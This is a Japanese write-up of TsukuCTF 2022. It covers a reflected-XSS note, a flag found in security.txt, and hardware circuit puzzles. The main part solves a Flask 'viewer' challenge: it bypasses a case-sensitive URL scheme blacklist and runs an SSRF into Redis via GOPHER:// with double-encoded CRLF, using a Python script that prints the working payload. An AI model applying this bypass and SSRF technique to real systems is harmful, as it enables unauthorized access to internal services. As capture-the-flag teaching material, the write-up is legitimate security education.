🚩

TsukuCTF 2022 Writeup

2022/10/25に公開

TsukuCTF 2022 に一人チームで参加しました!最後まで500点だったviewerを解けたので個人的には満足。

Web/bughunter

与えられたURLを見てみると

こんにちは tsukushiさん
このサイトは超絶安全ですが、もし?tsukushi=に反射型XSSなどを見つけたら報告してください。

というメッセージが書かれたサイトにたどり着きます。?tsukushi=に文字列を指定すると上記メッセージ中のtsukushiの部分がそれに変わるのですが、scriptタグを埋め込むことが出来てしまい普通にXSSができます。とはいっても、まったくフラグがどこにあるかわからなかったので、再び問題を見てみるとRFC9116と書かれています。調べてみると脆弱性報告のための情報を書いたsecurity.txtについてのRFCで、普通は/.well-known/security.txtに置いてあるとのこと。アクセスしてみるとフラグが書かれていました。

Contact: TsukuCTF22{y0u_c4n_c47ch_bu65_4ll_y34r_r0und_1n_7h3_1n73rn37}
Expires: 2022-10-20T15:00:00.000Z
Preferred-Languages: ja, en

Web/viewer

ソースコードとURLを与えられる形式の問題です。中身は去年のTsukuCTFのwriteupを表示できるWebアプリで、大体の処理はapp/app.pyに書かれています。

from flask import (
    Flask,
    abort,
    make_response,
    render_template,
    request,
    redirect
)
import redis
import pycurl
from io import BytesIO
import traceback
import uuid
import json

app = Flask(__name__)

# initialization
redis = redis.Redis(host='redis', port=6379, db=0)
flag = "TsukuCTF22{dummy flag}" # the flag is replaced a real flag in a production environment.
id = str(uuid.uuid4())
redis.set(id, json.dumps({"id": id, "name": flag}))

# only 'http' and 'https' should have been allowed, right?
# ref: https://everything.curl.dev/cmdline/urls/scheme#supported-schemes
blacklist_of_scheme = ['dict', 'file', 'ftp', 'gopher', 'imap', 'ldap', 'mqtt', 'pop3', 'rtmp', 'rtsp', 'scp', 'smb', 'smtp', 'telnet']

def url_sanitizer(uri: str) -> str:
    if len(uri) == 0 or any([scheme in uri for scheme in blacklist_of_scheme]):
        return "https://fans.sechack365.com"
    return uri

# a response is also sanitized just in case because the flag is super sensitive information.
blacklist_in_response = ['TsukuCTF22']

def response_sanitizer(body: str) -> str:
    if any([scheme in body for scheme in blacklist_in_response]):
        return "SANITIZED: a sensitive data is included!"
    return body

@app.route("/<path:path>")
def missing_handler(path):
    abort(404, "ページが見つかりません")

@app.route("/", methods=["GET", "POST"])
def route_index():
    session_id = request.cookies.get('__SESSION_ID')
    name = None
    if session_id is not None:
        res= redis.get(session_id)
        if res is not None:
            user = json.loads(res)
            print(f"user: {user}")
            name = user["name"]
            if name is not None and "TsukuCTF22{" in name:
                name = "tsukushi"
    else:
        return redirect('/register')

    if request.method == "POST":
        url = url_sanitizer(request.form.get("url"))

        buf = BytesIO()
        try:
            c = pycurl.Curl()
            c.setopt(c.URL, url)
            c.setopt(c.WRITEDATA, buf)
            c.perform()
            c.close()
    
            body = buf.getvalue().decode('utf-8')
        except Exception as e:
            traceback.print_exc()
            abort("error occurs")
        return render_template("index.html", url=url, data=response_sanitizer(body), name=name)
    return render_template("index.html", data=None, name=name)

@app.route("/register", methods=["GET"])
def register():
    return render_template("register.html")
    

@app.route("/register", methods=["POST"])
def register_post():
    name = request.form.get("name")
    redis.set(id, json.dumps({"id": str(uuid.uuid4()), "name": name}))
    redis.expire(id, 100)
    
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', id)
    return resp

@app.route("/logout", methods=["GET"])
def logout():
    resp = make_response(redirect('/'))
    resp.set_cookie('__SESSION_ID', '', expires=0)
    return resp

if __name__ == "__main__":
    app.run(debug=False, host="0.0.0.0", port=31555)

ソースコードを読むと、POSTで/に送られてきたURLをpycurlというライブラリに渡してWebページの内容を取得、テンプレートに渡して返していることがわかります。テンプレートでは、iframeに中身を詰め込んで表示するようになっています。

pycurlはlibcurlのpythonインターフェースらしいのでcurlコマンドと同じように考えてよさそうです。

送ったURLはurl_sanitizerでフィルタされ、httpとhttps以外のスキームが使えないようにされています。しかし、大文字だとフィルタされず、curlはスキームが大文字でも問題なく処理してくれるので、回避できます。

pycurlの出力はresponse_sanitizerでフィルタされ、TsukuCTF22が含まれていると別の文字列に置き換えられてしまいます。

競技中はburpのinterceptを使ってリクエストを書き換えて/に任意のURLをPOSTしていました。今から思えばRepeaterを使えばよかったなあ~

fileスキームの利用を試みる(失敗)

curlはfile:///{ファイルへのパス}のようなURLを渡すと、そのファイルの中身を返します。なので、FILE:///var/www/app.pyを入力してソースコードごとフラグを入手しようとを入力し、ソースコードごとフラグを獲得しようと試みましたが、response_sanitizerに阻止されてしまいました。TsukuCTF22を取り除く方法が思いつかなかったので別の方法を探します。

redisにSSRF(成功)

ソースコードを見ると、アプリケーションの起動時にフラグがredisに書き込まれています。なぜか同じキーを訪問したユーザーのデータを保存するのにも使っているため、上書きされてしまいそのまま取り出すことはできません。ただ、起動するごとに別のキーが生成されるので、起動してから誰もregisterすることなくappが終了すると、フラグが残ったままになります。なので、これを取り出すことを考えます。

redisにSSRFできるのではないかと考え調べてみたところ、gopherスキームを使ってSSRFしている例[1]を見つけることができました。手元で挙動を確認してみると、curlはgopherスキームを使うとパスの先頭2文字をより後ろの部分をそのまま送信し、受信したデータをそのまま返してくれるようです。

つまり、次のようなURLでredisを操作できそうです。

GOPHER://redis:6379/{任意の1文字}{cmd}

しかし、試しにPINGコマンドを入れてPOSTすると、Timeoutしてしまいました。この現象の原因は、redisへの接続が維持されるためpycurlから処理が戻らないためだと推測できます。

そこで、接続をredis側から切断するQUITコマンドを入れ、POSTすると期待した通りに+OKが返ってきました。実行したいコマンドの後でQUITコマンドを実行するとうまくいきそうです。

問題は、redisではコマンドの区切り文字はCRLFなので、そのままではURLに埋め込めないことです。curlは自動でURLのパス部分をURLデコードしてくれるので、CRLFをURLエンコードすることで解決できます。FlaskもURLデコードを行うため、二回URLエンコードする必要があります。

CyberChefで1つのコマンドを実行できるURLを生成するレシピを作りました。

URLを生成するレシピ

あとはこのレシピを駆使してフラグを取得するだけです。

まずDBに存在するすべてにキーを取り出します。

keys *

取り出したキーから、フラグと組になっている当たりキーを探します。値にフラグが含まれているとSANITIZED: a sensitive data is included!が返ってくるので判別できます。キーは十数個で手動でいけそうな範疇だったので、mgetコマンドで雑に二分探索っぽいことをして探しました。結果当たりキーはbdf4486d-2989-4028-87a2-c1a025b28186だとわかりました。

最後にフラグを取得します。TsukuCTF22が含まれているとサニタイズされてしまうのでsubstrコマンドで値の後ろ半分を切り出して対策します。値の形式はapp.pyを見れば分かるので、切り取る位置をpythonで計算します。ついでなのでURLの生成まで一気にやってしまいます。

from urllib.parse import quote
import json
import uuid

def gen_payload(redis_cmd):
    CRLF = quote('\r\n')
    url = f"GOPHER://redis:6379/ {redis_cmd}{CRLF}quit"
    return quote(url)

key = "bdf4486d-2989-4028-87a2-c1a025b28186"

data = json.dumps({"id": str(uuid.uuid4()), "name": "TsukuCTF22"})
forbidden = data[:-2]

redis_cmd = f'substr {key} {len(forbidden)} -1'
print(redis_cmd)

payload = gen_payload(redis_cmd)

print(payload)

出力

substr bdf4486d-2989-4028-87a2-c1a025b28186 66 -1
GOPHER%3A//redis%3A6379/%20substr%20bdf4486d-2989-4028-87a2-c1a025b28186%2066%20-1%250D%250Aquit

このURLをPOSTするとフラグを入手できました。

結果

$24 {ur1_scheme_1s_u5efu1}"} +OK

フラグ

TsukuCTF22{ur1_scheme_1s_u5efu1}

Hardware/DefuseBomb

1と2は回路図の画像、3はガーバーデータを与えられます。とりあえず回路図がなんとなく読めれば解けそう。

DefBom1


ICチップの中身はANDとNOAなので論理回路です。気合で解きました。答えは4。

DefBom2


ググったところ、このMOSEFTはゲートに電圧がかかるとドレインからソースに電流が流れるタイプのものであることがわかりました。気合で解きました。答えは4。

DefBom3

以下のWebアプリにzipファイルごとドラッグアンドドロップすれば回路が見れます。
https://www.pcbgogo.jp/GerberViewer.html

ICチップの中身はNANDなのでDefBom1と同じ要領で解けます。答えは2。

脚注
  1. https://nanimokangaeteinai.hateblo.jp/entry/2021/08/17/224715 ↩︎

Discussion